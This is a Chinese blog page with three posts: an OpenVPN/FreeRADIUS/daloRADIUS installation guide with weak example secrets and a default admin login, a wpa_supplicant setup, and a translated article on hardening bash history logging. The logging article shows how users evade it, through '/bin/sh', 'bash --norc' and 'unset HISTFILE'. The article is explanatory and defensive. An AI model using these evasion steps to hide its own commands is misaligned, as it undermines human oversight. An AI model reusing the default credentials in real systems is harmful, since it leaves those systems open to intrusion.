· 阅读需 8 分钟

本文记录了在centos5.5系统中搭建openvpn+mysql+freeradius的过程

系统环境:centos5.5

Eth0:192.168.0.2

校准系统时间:

ntpdate ntp.api.bz
hwclock -w

所需软件包:

yum install openssl openssl-devel gcc gcc-c++ mysql mysql-devel mysql-server php php-gd php-devel php-pear php-pear-DB php-mysql php-pdo php-cli php-mbstring php-mcrypt httpd

下载源码包:

wget http://www.oberhumer.com/opensource/lzo/download/lzo-2.05.tar.gz
wget http://swupdate.openvpn.net/community/releases/openvpn-2.2.0.tar.gz
wget ftp://ftp.freeradius.org/pub/freeradius/freeradius-server-2.1.10.tar.gz
wget http://sourceforge.net/projects/daloradius/files/daloradius/daloradius0.9-9/daloradius-0.9-9-rc1.tar.gz/download
wget http://www.nongnu.org/radiusplugin/radiusplugin_v2.1a_beta1.tar.gz
wget http://sourceforge.net/projects/phpmyadmin/files%2FphpMyAdmin%2F2.11.11.3%2FphpMyAdmin-2.11.11.3-all-languages.tar.bz2/download

1.安装lzo-2.0.5 使openvpn支持压缩功能

tar xf lzo-2.05.tar.gz &&cd lzo-*
./configure
make && make install
cd ..

2.安装openvpn服务

tar xf openvpn-2.2.0.tar.gz &&cd openvpn-*
./configure
make && make install

复制证书生成所需文件

mkdir /etc/openvpn && cp easy-rsa /etc/openvpn -r

3.安装radiusplugin

tar xf radiusplugin_v2.1a_beta1.tar.gz && cd radiusplugin_*
make #将会生成radiusplugin.so 将其cp到/etc/openvpn目录下
cp radiusplugin.cnf /etc/openvpn/conf/

4.生成服务端所需证书

cd /etc/openvpn/easy-rsa/2.0/
vi vars #编辑变量
. vars #source命令使变量生效
./clean-all
./build-ca #ca.crt ---Root CA证书,用于签发Server和Client证书
./build-key-server server #server.crt server.key-创建并签发VPN Server使用的CA
./build-key client1 #client1.crt client1.key #如果客户端需要使用证书方式认证则需要这个东东,创建客户端证书,一个客户端一个证书
./build-key client2
./build-dh #dh1024.pem--生成Diffie-Hellman文件 ,TLS用到
openvpn --genkey --secret keys/ta.key #生成tls auth key

复制证书文件到配置文件目录

mkdir /etc/openvpn/conf && cd keys
cp ca.crt server.crt server.key dh1024.pem ta.key /etc/openvpn/conf/
tar czf clientkey.tgz ca.crt client1.crt client1.key # 如果客户端使用证书方式认证则这里需要这个东东,本文介绍的radius方式不需要。

5.编辑openvpn服务端配置文件

vi /etc/openvpn/conf/server.conf

port 1194
proto udp
dev tap #TAP设备是一块虚拟的以太网卡,TUN设备是一个虚拟的点到点IP链接。
ca /etc/openvpn/conf/ca.crt
cert /etc/openvpn/conf/server.crt
key /etc/openvpn/conf/server.key # This file should be kept secret
dh /etc/openvpn/conf/dh1024.pem
server 10.8.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt
push "redirect-gateway def1 bypass-dhcp"
push "dhcp-option DNS 10.8.0.1"
push "dhcp-option DNS 208.67.222.222"
push "dhcp-option DNS 208.67.220.220"
client-to-client
keepalive 10 120

tls-auth /etc/openvpn/conf/ta.key 0

comp-lzo
user nobody
group nobody
persist-key
persist-tun
status openvpn-status.log
verb 3

client-to-client #如果让Client之间可以相互看见,去掉本行的注释掉,否则Client之间无法相互访问

;duplicate-cn #是否允许一个User同时登录多次,去掉本行注释后可以使用同一个用户名登录多次

client-cert-not-required #客户端不使用CA证书验证

username-as-common-name #使用客户提供的UserName作为Common Name

;max-clients 1000 #最大连接数

plugin /etc/openvpn/radiusplugin.so /etc/openvpn/conf/radiusplugin.cnf #radius插件

script-security 3

编辑radius插件配置文件

vi /etc/openvpn/conf/radiusplugin.cnf

NAS-Identifier=OpenVpn
Service-Type=5
Framed-Protocol=1
NAS-Port-Type=5
NAS-IP-Address=127.0.0.1
OpenVPNConfig=/etc/openvpn/conf/server.conf
subnet=255.255.255.0
overwriteccfiles=true
nonfatalaccounting=false
server
{
# The UDP port for radius accounting.
acctport=1813
# The UDP port for radius authentication.
authport=1812
# The name or ip address of the radius server.
name=127.0.0.1
# How many times should the plugin send the if there is no response?
retry=1
# How long should the plugin wait for a response?
wait=1
# The shared secret.
sharedsecret=testpw
}

启动openvpn

/usr/local/sbin/openvpn  --cd /etc/openvpn \
--config /etc/openvpn/conf/server.conf &

配置内核路由转发和iptables

sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -A INPUT -p udp --dport 1194 -j ACCEPT

6.安装freeradius

tar  xf  freeradius-server-2.1.10.tar.bz2
cd freeradius-*
./configure
make && make install
vi /etc/ld.so.conf
#加入:
/usr/local/lib
#然后
ldconfig

启动mysql

/etc/init.d/mysqld start
#初始化mysql
mysql_secure_installation
mysql -uroot -p
create database radius;
cd /usr/local/etc/raddb/sql/mysql
mysql -uroot -p radius < schema.sql
mysql -uroot -p < admin.sql

配置radiusd

cd /usr/local/etc/raddb
vi radiusd.conf
prefix = /usr/local
exec_prefix = ${prefix}
sysconfdir = ${prefix}/etc
localstatedir = ${prefix}/var
sbindir = ${exec_prefix}/sbin
logdir = ${localstatedir}/log/radius
raddbdir = ${sysconfdir}/raddb
radacctdir = ${logdir}/radacct
name = radiusd
confdir = ${raddbdir}
run_dir = ${localstatedir}/run/${name}
db_dir = ${raddbdir}
libdir = ${exec_prefix}/lib
pidfile = ${run_dir}/${name}.pid
max_request_time = 30
cleanup_delay = 5
max_requests = 1024
listen {
type = auth
ipaddr = *
port = 0
}
listen {
ipaddr = *
port = 0
type = acct
}
hostname_lookups = no
allow_core_dumps = no
regular_expressions = yes
extended_expressions = yes
log {
destination = files
file = ${logdir}/radius.log
syslog_facility = daemon
stripped_names = no
auth = no
auth_badpass = no
auth_goodpass = no
}
checkrad = ${sbindir}/checkrad
security {
max_attributes = 200
reject_delay = 1
status_server = yes
}
proxy_requests = yes
$INCLUDE proxy.conf
$INCLUDE clients.conf
thread pool {
start_servers = 5
max_servers = 32
min_spare_servers = 3
max_spare_servers = 10
max_requests_per_server = 0
}
modules {
$INCLUDE ${confdir}/modules/
$INCLUDE eap.conf
$INCLUDE sql.conf
$INCLUDE sql/mysql/counter.conf
$INCLUDE sqlippool.conf
}
instantiate {
exec
expr
expiration
logintime
}
$INCLUDE policy.conf
$INCLUDE sites-enabled/

vi clients.conf

client localhost {
ipaddr = 127.0.0.1
secret = testpw
require_message_authenticator = no
}
client 192.168.0.2 {
ipaddr = 192.168.0.2
secret = testpw
require_message_authenticator = no
}

vi sites-enabled/default

authorize {
preprocess
chap
mschap
digest
suffix
eap {
ok = return
}
sql
expiration
logintime
pap
}
authenticate {
Auth-Type PAP {
pap
}
Auth-Type CHAP {
chap
}
Auth-Type MS-CHAP {
mschap
}
digest
unix
eap
}
preacct {
preprocess
acct_unique
suffix
files
}
accounting {
detail
radutmp
sql
exec
attr_filter.accounting_response
}
session {
radutmp
}
post-auth {
exec
Post-Auth-Type REJECT {
attr_filter.access_reject
}
}
post-proxy {
eap
}

vi sql.conf

sql {
database = "mysql"
driver = "rlm_sql_${database}"
server = "localhost"
port = 3306
login = "radius"
password = "radpass"
radius_db = "radius"
acct_table1 = "radacct"
acct_table2 = "radacct"
postauth_table = "radpostauth"
authcheck_table = "radcheck"
authreply_table = "radreply"
groupcheck_table = "radgroupcheck"
groupreply_table = "radgroupreply"
usergroup_table = "radusergroup"
deletestalesessions = yes
sqltrace = no
sqltracefile = ${logdir}/sqltrace.sql
num_sql_socks = 5
connect_failure_retry_delay = 60
lifetime = 0
max_queries = 0
readclients = yes
nas_table = "nas"
$INCLUDE sql/${database}/dialup.conf
}

启动radius: radiusd &

安装phpmyadmin管理mysql

tar xf phpMyAdmin-2.11.11.3-all-languages.tar.gz -C /var/www/
mv /var/www/phpMyadmin* /var/www/phpmyadmin && cd /var/www/phpmyadmin
cp config.sample.inc.php config.inc.php
vi config.inc.php 修改以下
$cfg['blowfish_secret'] = 'ADKFdkfjdl959435dfkds^%&';

安装daloradius管理freeradius

tar xf daloradius-0.9-9-rc1.tar.gz -C /var/www/
cd /var/www
mv daloradius* daloradius
cd /var/www/daloradius/contrib/db
Mysql -uroot -p radius < mysql-daloradius.sql
Mysql -uroot -p radius < fr2-mysql-daloradius-and-freeradius.sql
chown apache:apache /var/www/daloradius -R
chmod 644 /var/www/daloradius/library/daloradius.conf .php#配置文件需要给予写权限

vi /var/www/daloradius/library/daloradius.conf.php

$configValues['CONFIG_DB_ENGINE'] = 'mysql';
$configValues['CONFIG_DB_HOST'] = 'localhost';
$configValues['CONFIG_DB_USER'] = 'radiusadmin';
$configValues['CONFIG_DB_PASS'] = 'radiusadmin';
$configValues['CONFIG_DB_NAME'] = 'radius';

此处的radiusadmin账号是在phpmyadmin里创建的并给予radius库相应操作权限;

touch /tmp/daloradius.log
chown apache.apache /tmp/daloradius.log

vi /etc/httpd/conf/httpd.conf

Alias /radius "/var/www/daloradius/"
<Directory /var/www/daloradius/>
Options None
order deny,allow
deny from all
allow from 127.0.0.1
allow from 192.168.0.0/24
</Directory>
Alias /phpmyadmin "/var/www/phpmyadmin/"
<Directory /var/www/phpmyadmin/>
Options None
order deny,allow
deny from all
allow from 127.0.0.1
allow from 192.168.0.0/24
</Directory>

启动apache /etc/init.d/httpd restart

访问 http://192.168.0.2/radius

username: administrator, password: radius

在用户管理里面添加一个账号,即可用这个账号进行认证登陆。

windows客户端下载:http://swupdate.openvpn.net/community/releases/openvpn-2.2.0-install.exe

修改配置文件X:\Program Files\OpenVPN\config\client.ovpn

client
dev tap
proto udp
remote 192.168.0.2 1194
;remote-random
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
auth-user-pass
ns-cert-type server
;tls-auth ta.key 0
comp-lzo
verb 3

同时将服务器端的ca.crt拷贝到X:\Program Files\OpenVPN\config\ 目录下。 win7需要以管理员身份运行OpenVPN GUI ,使用daloradius里添加的账号密码登陆。

添加ipv6支持:

让openvpn客户端支持Ipv6网络,需要将openvpn使用的虚拟网卡与具有ipv6地址的物理网卡进行桥接,让openvpn监听在此桥接的虚拟网卡上,然后通过自动DHCP实现为客户端分配ipv6地址。

安装配置网卡桥接:

yum  install bridge-utils

编辑bridge-start启动脚本,根据系统网络设备对应编辑。

下载radvd:http://www.litech.org/radvd/dist/radvd-1.8.tar.gz

tar  xf radvd-* && cd radvd-*
./configure --sysconfdir=/etc
make && make install

修改配置文件 vi /etc/radvd.conf

interface br0
{
AdvSendAdvert on;
MinRtrAdvInterval 3;
MaxRtrAdvInterval 10;
AdvDefaultPreference low;
prefix 2001:250:1002:40::/64 //客户端IPv6前缀
{
AdvOnLink on;
AdvAutonomous on;
AdvRouterAddr on;
};
};

参考文档:

Authentication, Authorization & Accounting with FreeRadius & MySQL backend & web based Management with Daloradius

使用wpa-supplicant配置无线网络

· 阅读需 2 分钟

之前在使用桌面的过程中,发现如果需要连接无线网 , 那么networkmanager是首选的,自动管理网卡,自动扫描信号,用起来各种舒服;但是突然有一天发现networkmanager干了某些我不期望它干的事情,于是果断yum remove之,由于一气之下remove掉了networkmanager,并没有考虑到还得用它来连接无线,导致后来发现需要连无线的时候极为不方便,最终发现可以使用wpa-supplicant来管理无线网络连接。

其实很多人都推荐用这个了wpa_supplicant,但是由于一直没有这个必要所以就一直没有学会使用,今天用了下感觉还真不错。 wpa_supplicant首先在/etc/init.d/wpa_supplicant 有一个启动控制脚本,然后有/etc/wpa_supplicant/wpa_supplicant.conf这个默认配置文件,还有一个/etc/sysconfig/wpa_supplicant的全局配置文件,

安装

使用yum安装:yum install wpa_supplicant,在/usr/share/doc下有大量的配置示例和文档,

配置

在使用它之前需要修改几个配置文件,首先是wpa_supplicant.conf ,比如我的配置如下:

# cat /etc/wpa_supplicant/wpa_supplicant.conf
ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=wheel
network={
ssid="yourssid"
#scan_ssid=1
proto=WPA2
key_mgmt=WPA-PSK
pairwise=CCMP
group=CCMP
psk="fightandfuck"
priority=2
}

关于这些信息可以先使用iwlist wlan0 scan 命令扫描,并做相应调整。然后需要修改全局配置文件

cat /etc/sysconfig/wpa_supplicant

INTERFACES="-iwlan0"
DRIVERS="-Dwext"
OTHER_ARGS="-f /var/log/wpa_supplicant.log -P /var/run/wpa_supplicant.pid"

启动

修改完这些后,即可使用service wpa_supplicant start 启动网卡并连接认证了,当然可能出现的情况是认证成功了但是网卡没有获取到ip地址,这个时候只需要手动dhclient一下或者写个ifcfg-wlan0并指定其使用dhcp然后ifup wlan0。

总之,方便适用。

为Bash增加命令执行日志

· 阅读需 10 分钟

我们将修改bash的源码来实现”无敌”logging机制,也将看到”无敌”并不是真正的无敌。

一:bash为何需要logging

Bash堪称*nix世界使用最广泛的shell,其特性之一是历史命令(history)机制。此机制主要用于为用户提供方便--少敲几下键盘,提高工作效率。然而,被广泛讨论的是bash_history可以用作logging机制以此来监控用户的活动。此文将对上述问题进行讨论并解释为啥logging机制在少数人面前会失效。我们将见到各种用于保护history文件的防御措施是如何不费吹灰之力或稍微费点力就被突破的。随着讨论的跟进,突破的限制也将变得更严,但这并不代表突破起来就更困难,与之相反大部分方法都是可以不费脑子的。最后,我们将修改bash的源码来实现”无敌”logging机制,也将看到”无敌”并不是真正的无敌。

二:加固bash_history

假设你所管理的系统提供shell登录功能,你的用户当中有个别及其讨人厌的家伙,于是你想监控他的活动,因为你非常怀疑他半夜三更使用你所负责保护的CPU和系统资源作恶意行为(或是其他的,例如下毛片等)。我们暂且叫他小明(此处原文为Bob,Bob一名在国外经常用来指代坏蛋)。

因为所有用户都是使用bash作为默认shell,你开始着手修改bash的配置文件:

第1步

使bash历史记录文件和相关文件无法被删除或修改。

小明所做的第一件事应该是建立history到/dev/null的链接。

bob$ rm ~/.bash_history
bob$ ln -s /dev/null ~/.bash_history

这可以通过修改历史记录文件为只能被追加来进行阻止,执行以下命令来改变其属性:

# chattr +a /home/bob/.bash_history

这是使用文件系统附加属性来指定文件只能被追加,大多数文件系统支持此功能(例如ext2/3,XFS,JFS)。在FreeBSD上可以执行:

# sappnd /home/bob/.bash_history

你还应修改shell启动相关的其他文件的这个属性:

# chattr +a /home/bob/.bash_profile
# chattr +a /home/bob/.bash_login
# chattr +a /home/bob/.profile
# chattr +a /home/bob/.bash_logout
# chattr +a /home/bob/.bashrc

前三个文件在交互式bash shell(或非交互式sehll使用–login选项)调用时被读取(在读完全局配置文件/etc/profile后)。.bashrc文件只在当non-login交互式shell调用时被读取。这意味着当小明已登进系统后,用以下方法自己调用一个新shell时:

bob$ bash

此时只有.bashrc文件被读取,而上面所列的前三个配置文件不会再次被读取了。

做了以上属性的修改后再来做更进一步的”加固”,一个所谓的保护措施。

第2步

配置 .bash*配置文件

所有的配置将针对.bashrc文件,因为其他三个配置文件本身会调用.bashrc,也就是说.bashrc无论如何都会被读取 (不管用户是否刚登录或是登录后手工调用bash shell)。

所以,所有修改都针对.bashrc的好处是可以防止小明登录后手工调用新的bash shell来跳过仅在.bash_profile,.bash_login,.profile三个配置文件中生效的配置选项,另一好处是这三个文件本身都会调用.bashrc,所以在首次登录系统时.bashrc当中的配置也会生效。

# cat >> /home/bob/.bashrc << EOF
> shopt -s histappend
> readonly PROMPT_COMMAND=”history -a”
> EOF

此处histappend选项的作用是让bash附加上最后一行$HISTSIZE给$HISTFILE文件(一般是~/.bash_history文件),不管交互式shell何时退出。默认的,bash每次均会覆盖$HISTFILE以保证只有一个session被保存以此来节约空间。

环境变量PROMPT_COMMAND会保存一条将被优先执行的命令,意思是说”history -a”命令将在用户执行命令前被优先执行,这将保证不管当前命令前一条是执行的什么,它将立即被追加进$HISTFILE,而不用等待整个会话结束再将历史命令从内存记录至硬盘。

此处的readonly作用是使变量不可修改以防止被小明覆盖掉或是直接屏蔽掉。

最后要完成的步骤是使所有与bash_history相关的环境变量都变为readonly:

readonly HISTFILE
readonly HISTFILESIZE
readonly HISTSIZE
readonly HISTCMD
readonly HISTCONTROL
readonly HISTIGNORE

第3步

禁掉系统中所有其他shell,一般包括csh,tcsh,ksh。

# chmod 750 csh
# chmod 750 tcsh
# chmod 750 ksh

这将阻止小明把bash shell切换成其他shell。

现在,机敏点的管理员会抱怨上面的都是shit!

还有一个shell逃出了我们的掌控!在你看完以上叙述跳入浮想联翩之前,让我们来搞清一些事情。

很久很久以前… (你懂的),原本只有一个Bourne shell 或者叫sh,现如今,/bin/sh实际上是/bin/bash的一个链接。Bash在被调用时检查它是以哪个名字被调用的并以此来判断是不是调用sh,它试图模仿历史版本的sh的行为并和POSIX标准保持一致。

如果以交互式login shell或非交互式shell带上–login选项启动,它才读取/etc/profile和~/.profile来初始化配置。如果以交互式shell被调用,则试图解释$ENV变量,当$ENV非空则使用它的值当作默认配置并执行。我们将在本文的下一节讨论如何利用这点来秒杀bash的所有设置。

三:攻破logging机制

现在是时候站在小明的角度来看下所有问题了。我们将验证上面的防御是如何一步步被攻破的。在实践中的可能性是无穷进的。

以下所提及的突破bash_history logging机制的技巧只是九牛一毛。

  • 方法1:使用Bourne shell –/bin/sh逃脱术

$ /bin/sh

调用sh会导致bash模仿如前所述的历史版本sh而不会读取与bash直接相关的任何配置文件。因此,小明现在能够避开$HISTFILE变量了,

因为它已不再是readonly。

$ unset HISTFILE

这会使得logging机制在当前会话中直接萎掉,因为此变量控制的历史命令记录文件将会是空的。

注:也可以通过调用/bin/rbash(如果系统里存在的话)来实现相同效果,它会模仿受限版本的bash,和sh一样也是一个bash的链接,但是使用起来确实有些让人蛋疼。

  • 方法2:让bash不加载.bashrc配置文件

可以通过以下方法实现:

$ /bin/bash –norc

这样即可禁止bash读取.bashrc从而被设置成readonly的变量变成了writeable,然后像下面这样做:

$ HISTFILE=

会清空$HISTFILE变量—>无历史记录。

四:Hacking bash-使用syslog日志接口

从以上我们很清楚地得出结论--传统的加固bash_history的方法实际上都是扯淡。然而我们却可以更向前一步的hack bash本身来减少logging机制的脆弱性并提高其隐秘性。需要注意的是即便如此也是可以被攻破的。由于bash与内核的差距导致它并不是足够的健壮来作为一个logging设备,即便是hack了它的核心。

现在的想法是修改bash源码使用户键入的所有指令全部发送给syslog,由syslog将日志记录到/var/log目录下。我们将提供一个快速而且很黄很暴力的方法来实现这一目标--这里,哪个用户键入的哪条指令将没有差别的被对待,而这也是可以被实现的。

我们的接口的最佳放置点是parse.y文件,它由bash的yacc语法组成。当一条指令在shell中被下达时bash解释器将迅速被调用。因此,将syslog钩子放置在解释器刚好完成它的工作前一点点,貌似是个好办法。需要修改的仅仅是增加两行代码:包含进syslog.h和设置syslog调用。我们使用了bash-3.2的源码:

[ithilgore@fitz]$diff -E -b -c ~/bash-3.2/parse.y ~/hacked_bash/parse.y
*** ../../bash-3.2/bash-3.2/parse.y Tue Sep 19 13:37:21 2006
— parse.y Sat Jul 12 18:32:26 2008
***************
*** 19,24 ****
19,25-
Foundation, 59 Temple Place, Suite 330, Boston, MA 02111 USA. */
%{
+ #include #include “config.h”
#include “bashtypes.h”
*************** *** 1979,1984 ****1980,1986
- shell_input_line_len = i;
/* == strlen (shell_input_line) */
set_line_mbstate ();
+ syslog(LOG_LOCAL0 | LOG_CRIT,%s”, shell_input_line);
#if defined (HISTORY) if (remember_on_history && shell_input_line && shell_input_line[0])

上面的调用产生了一条日志消息,此消息将被syslog根据LOG_CRIT级别送到local0的设备上。要让这个东东生效则还必须要在/etc/syslog.conf配置文件中加入一条:

local0.crit /var/log/hist.log

至此用户下达的每条指令都将躺在/var/log/hist.log里,这个日志文件一般情况下日有root用户有读权限。

要注意的是上面所提到的hack并不区分是否为不同用户的输入。要实现的话还有更多的事情需要做的。由于所有的命令都被记录下来,那么由shell脚本执行或启动bash时的配置文件执行所产生的垃圾信息也是会被记录下来的。

现在唯一剩下的问题是”上面的hack要怎样才能被攻破?”其实这相当滴简单:

—->编译或上传一个你自己的干净的bash或其他shell即可搞定。

由于上面的hack是在特定版本的基础上的所以你编译或上传的干净bash可能在他的系统上会运行失败。

五:总结

Bash 只是一个shell,并不是一个logging设备,而bash_history只是用来为用户提供点方便少敲几下键盘而已。毫不装逼的说一句所有使用它来当监控设备的做法都是白搭。如果你是个较真的系统管理员且确实需要监控用户的活动,那就写个内核模块记录所有用户的键盘记录,并根据uid或其他参数进行过滤。这个方法将会非常管用并且很难被攻破(只是很难不是没那可能)。

现在已经有Linux包括FreeBSD下的审计框架可供选择。在FreeBSD平台,由Robert Watson和TrustedBSD项目开发的审计框架是选择之一。在linux平台,由来自红帽的Steve Grubb开发的Linux Auditing System也是一个选择:http://people.redhat.com/sgrubb/audit/

六:参考资料